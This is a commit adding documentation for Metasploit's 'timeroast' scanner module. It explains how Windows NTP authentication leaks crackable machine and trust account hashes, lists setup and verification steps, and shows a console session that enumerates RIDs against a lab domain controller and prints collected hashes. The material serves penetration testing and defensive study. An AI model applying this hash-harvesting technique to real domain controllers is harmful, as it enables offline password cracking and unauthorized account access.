Add docs for the new timeroast module

Author: zeroSteiner

documentation/modules/auxiliary/scanner/ntp/timeroast.md

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+## Vulnerable Application
+Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
+48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
+that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
+because RIDs are sequential, they can easily be enumerated.
+
+## Verification Steps
+
+1. Setup a Windows domain controller target
+1. Start msfconsole
+1. Use the `auxiliary/admin/dcerpc/samr_account` module to create a new computer account with the `ADD_COMPUTER` action
+   1. Note the RID (the last part of the SID) and password of the new account
+1. Use the `auxiliary/scanner/ntp/timeroast` module
+1. Set the `RHOSTS` option to the target domain controller
+1. Set the `RIDS` option to the RID of the new account
+1. Run the module and see that a hash is collected, this has will show up in the output of the `creds` command if a
+  database is connected
+
+## Options
+
+### RIDS
+The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specified using a comma as a separator.
+
+## Scenarios
+
+### Windows 2019 x64 Domain Controller
+
+```
+msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205
+RIDS => 4200-4205
+msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10
+RHOSTS => 192.168.159.10
+msf6 auxiliary(scanner/ntp/timeroast) > run
+[*] Checking RID: 4200
+[*] Checking RID: 4201
+[+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010
+[*] Checking RID: 4202
+[+] Hash for RID: 4202 - 4202:$sntp-ms$e106388a43f6bbd5365e3a6f2dee741d$1c0100e900000000000a2c704c4f434ceb0aaf8ac78c5c9a0000000000000000eb0aea21bb83de46eb0aea21bb8442f0
+[*] Checking RID: 4203
+[*] Checking RID: 4204
+[+] Hash for RID: 4204 - 4204:$sntp-ms$d0b1961cc3d57a1eaa40bfeeb9f30eb9$1c0100e900000000000a2c704c4f434ceb0aaf8ac653c2f50000000000000000eb0aea222a6c25c3eb0aea222a6c6a8c
+[*] Checking RID: 4205
+[*] Waiting on 3 pending responses...
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf6 auxiliary(scanner/ntp/timeroast) >
+```